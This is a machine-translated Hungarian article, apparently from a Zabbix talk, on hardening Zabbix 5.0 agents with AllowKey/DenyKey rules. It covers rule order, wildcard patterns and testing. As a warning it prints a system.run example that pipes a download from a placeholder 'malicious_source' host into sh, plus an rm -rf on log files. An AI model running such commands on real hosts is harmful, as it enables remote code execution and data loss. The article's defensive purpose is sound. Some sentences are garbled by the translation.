Feketelista és engedélyezőlista támogatása az ügynökoldali metrikákhoz
Tikhon Uskov, integrációs mérnök, Zabbix
Adatbiztonsági kérdések
A Zabbix 5.0 új funkcióval rendelkezik, amely lehetővé teszi a Zabbix Agent használatával a rendszerek biztonságának javítását, és lecseréli a régi paramétert EnableRemoteCommands.
Az ügynök alapú rendszerek biztonságának javulása abból fakad, hogy egy ügynök nagyszámú potenciálisan veszélyes műveletet tud végrehajtani.
- Az ügynök szinte bármilyen információt gyűjthet, beleértve a bizalmas vagy potenciálisan veszélyes információkat is, konfigurációs fájlokból, naplófájlokból, jelszófájlokból vagy bármilyen más fájlból.
Például a zabbix_get segédprogrammal hozzáférhet a felhasználók listájához, saját könyvtáraikhoz, jelszófájlokhoz stb.
Adatok elérése a zabbix_get segédprogrammal
Megjegyzés. Az adatok csak akkor kérhetők le, ha az ügynök olvasási jogosultsággal rendelkezik a megfelelő fájlhoz. De például a fájl /etc/passwd/ minden felhasználó számára olvasható.
- Az ügynök potenciálisan veszélyes parancsokat is végrehajthat. Például: *system.run[]** lehetővé teszi bármilyen távoli parancs végrehajtását a hálózati csomópontokon, beleértve a szkriptek futtatását a Zabbix webes felületéről, amelyek parancsokat is végrehajtanak az ügynök oldalon.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linuxon az ügynök alapértelmezés szerint root jogosultságok nélkül fut, míg Windowson rendszerként szolgáltatásként fut, és korlátlan hozzáféréssel rendelkezik a fájlrendszerhez. Ennek megfelelően, ha a telepítés után nem történik változás a Zabbix Agent paramétereiben, az ügynök hozzáfér a nyilvántartáshoz, a fájlrendszerhez, és végrehajthat WMI-lekérdezéseket.
A korábbi verziókban a paraméter EnableRemoteCommands=0 csak a metrikák letiltása a * kulccsal engedélyezettsystem.run[]** és szkriptek futtatása a webes felületről, de nem lehetett korlátozni az egyes fájlokhoz való hozzáférést, engedélyezni vagy letiltani az ügynökkel együtt telepített egyedi kulcsokat, vagy korlátozni az egyes paraméterek használatát.
Az EnableRemoteCommand paraméter használata a Zabbix korábbi verzióiban
AllowKey/DenyKey
A Zabbix 5.0 segít megvédeni az ilyen jogosulatlan hozzáférést azáltal, hogy engedélyező- és tiltólistákat biztosít az ügynökoldali metrikák engedélyezéséhez és megtagadásához.
A Zabbix 5.0-ban minden kulcs, beleértve a *system.run[]** engedélyezve vannak, és két új ügynökkonfigurációs lehetőség került hozzáadásra:
AllowKey= – engedélyezett ellenőrzések;
DenyKey= – tiltott ellenőrzések;
ahol egy kulcsnév-minta paraméterekkel, amely metakaraktereket (*) használ.
Az AllowKey és a DenyKey kulcsok lehetővé teszik az egyes mutatók engedélyezését vagy letiltását egy adott minta alapján. Más konfigurációs paraméterekkel ellentétben az AllowKey/DenyKey paraméterek száma nincs korlátozva. Ez lehetővé teszi, hogy egyértelműen meghatározza, mit tehet pontosan az ügynök a rendszerben azáltal, hogy létrehoz egy ellenőrzési fát - végrehajtható kulcsokat, ahol az írási sorrend nagyon fontos szerepet játszik.
A szabályok sorrendje
A szabályok ellenőrzése abban a sorrendben történik, ahogyan bekerültek a konfigurációs fájlba. A kulcs az első egyezés előtt a szabályok szerint ellenőrzésre kerül, és amint az adatelem kulcsa megegyezik a mintával, engedélyezve vagy megtagadva. Ezt követően a szabályellenőrzés leáll, és a fennmaradó kulcsokat figyelmen kívül hagyja.
Ezért, ha egy elem egy engedélyezési és megtagadási szabálynak is megfelel, az eredmény attól függ, hogy melyik szabály található először a konfigurációs fájlban.
2 különböző szabály ugyanazzal a mintával és egy kulccsal vfs.file.size[/tmp/file]
Az AllowKey/DenyKey billentyűk használatának sorrendje:
- pontos szabályok,
- Általános szabályok,
- tiltó szabály.
Például, ha egy bizonyos mappában lévő fájlokhoz szeretne hozzáférni, először engedélyeznie kell a hozzáférést azokhoz, majd meg kell tagadnia minden mást, ami nem esik a megállapított engedélyek körébe. Ha először a tiltó szabályt alkalmazza, a mappához való hozzáférés meg lesz tagadva.
Helyes sorrend
Ha engedélyeznie kell 2 segédprogram futtatását a *system.run[]**, és először a megtagadási szabály kerül megadásra, a segédprogramok nem indulnak el, mert az első minta mindig bármelyik kulcshoz fog illeszkedni, és a következő szabályok figyelmen kívül maradnak.
Helytelen sorrend
Minták
Alapvető szabályok
A minta helyettesítő karaktereket tartalmazó kifejezés. A metakarakter (*) egy adott helyen tetszőleges számú karakterhez egyezik. A metakarakterek mind a kulcsnévben, mind a paraméterekben használhatók. Például szigorúan meghatározhatja az első paramétert szöveggel, és adja meg a következőt helyettesítő karakterként.
A paramétereket szögletes zárójelben [] kell tenni.
system.run[*
- rosszvfs.file*.txt]
- rosszvfs.file.*[*]
- jobb
Példák a helyettesítő karakter használatára.
- A kulcsnévben és a paraméterben. Ebben az esetben a kulcs nem felel meg egy hasonló, paramétert nem tartalmazó kulcsnak, mivel a mintában jeleztük, hogy a kulcsnév egy bizonyos végét és egy bizonyos paraméterkészletet szeretnénk kapni.
- Ha a minta nem használ szögletes zárójeleket, a minta engedélyezi az összes olyan billentyűt, amely nem tartalmaz paramétereket, és letilt minden olyan billentyűt, amely tartalmazza a megadott paramétert.
- Ha a kulcsot teljes egészében írjuk be, és a paramétereket helyettesítő karakterként adjuk meg, akkor bármely hasonló kulcshoz illeszkedik bármilyen paraméterrel, és nem fog megegyezni a szögletes zárójel nélküli kulcsokkal, azaz engedélyezve vagy megtagadva lesz.
A paraméterek kitöltésének szabályai.
- Ha paraméterekkel rendelkező kulcsot kíván használni, akkor a paramétereket meg kell adni a konfigurációs fájlban. A paramétereket metakarakterként kell megadni. Gondosan meg kell tagadni a hozzáférést minden fájlhoz, és figyelembe kell venni, hogy a metrika milyen információkat tud nyújtani különböző írásmódok esetén - paraméterekkel és anélkül.
A billentyűk paraméterekkel történő írásának jellemzői
- Ha egy kulcs paraméterekkel van megadva, de a paraméterek nem kötelezőek és metakarakterként vannak megadva, akkor a paraméterek nélküli kulcsot a rendszer feloldja. Például, ha szeretné letiltani a CPU terhelésével kapcsolatos információk fogadását, és megadja, hogy a system.cpu.load[*] kulcsot le kell tiltani, ne felejtse el, hogy a paraméterek nélküli kulcs az átlagos terhelési értéket adja vissza.
A paraméterek kitöltésének szabályai
Megjegyzések
beállítás
- Néhány szabályt a felhasználó nem módosíthat, például a felderítési szabályokat vagy az ügynök automatikus regisztrációs szabályait. Az AllowKey/DenyKey szabályok nem befolyásolják a következő paramétereket:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
Megjegyzés. Ha egy rendszergazda letilt egy kulcsot, akkor a Zabbix nem ad információt arról, hogy a mérőszám vagy kulcs miért esik a " kategóriábaNEM TÁMOGATOTT'. A távoli parancsok végrehajtására vonatkozó tilalmakra vonatkozó információk szintén nem jelennek meg az ügynöknaplófájlban. Ez biztonsági okokból történt, de megnehezítheti a hibakeresést, ha a mutatók valamilyen okból nem támogatott kategóriába esnek..
- Ne hagyatkozzon semmilyen konkrét sorrendre a külső konfigurációs fájlok csatlakoztatásakor (például ábécé sorrendben).
Parancssori segédprogramok
A szabályok beállítása után meg kell győződnie arról, hogy minden megfelelően van konfigurálva.
Három lehetőség közül választhat:
- Adjon hozzá egy mutatót a Zabbixhez.
- Teszteld vele zabbix_agentd. Zabbix ügynök opcióval -nyomtatás (-p) megjeleníti az összes kulcsot (amelyek alapértelmezés szerint engedélyezettek), kivéve azokat, amelyeket a konfiguráció nem engedélyez. És az opcióval -teszt (-t) mert a tiltott kulcs visszajönNem támogatott elemkulcs".
- Teszteld vele zabbix_get. Hasznosság zabbix_get opcióval -k vissza fog térni 'ZBX_NOTSUPPORTED: Ismeretlen mérőszám".
Engedélyezés vagy elutasítás
Megtagadhatja a hozzáférést egy fájlhoz, és ellenőrizheti például a segédprogram segítségével zabbix_gethogy a fájlhoz való hozzáférés megtagadva.
**
Megjegyzés. A paraméterben szereplő idézeteket figyelmen kívül hagyja.
Ebben az esetben egy ilyen fájlhoz való hozzáférés más elérési úton is engedélyezhető. Például ha egy szimbolikus hivatkozás vezet rá.
Javasoljuk, hogy ellenőrizze a meghatározott szabályok alkalmazásának különböző lehetőségeit, és vegye figyelembe a tilalmak megkerülésének lehetőségeit is.
Kérdések és válaszok
Kérdés. Miért választottak egy ilyen összetett mintát a saját nyelvével a szabályok, engedélyek és tilalmak leírására? Miért nem lehetett használni például a Zabbix által használt reguláris kifejezéseket?
Válasz. Ez egy reguláris kifejezési teljesítményprobléma, mivel általában csak egy ügynök van, és rengeteg mérőszámot ellenőriz. A Regex meglehetősen nehéz művelet, és így nem tudunk több ezer mérőszámot ellenőrizni. Helyettesítő karakterek - univerzális, széles körben használt és egyszerű megoldás.
Kérdés. Az Include fájlok nincsenek ábécé sorrendben?
Válasz. Amennyire én tudom, gyakorlatilag lehetetlen megjósolni a szabályok alkalmazási sorrendjét, ha a szabályokat szétosztja a különböző fájlok között. Azt javaslom, hogy az összes AllowKey/DenyKey szabályt egyetlen Include fájlba gyűjtsd össze, mert kölcsönhatásba lépnek egymással, és belefoglalják ezt a fájlt is..
Kérdés. A Zabbix 5.0-ban a „EnableRemoteCommands=' hiányzik a konfigurációs fájlból, és csak az AllowKey/DenyKey érhető el?
Válasz. igen ez így van.
Спасибо за внимание!
Forrás: will.com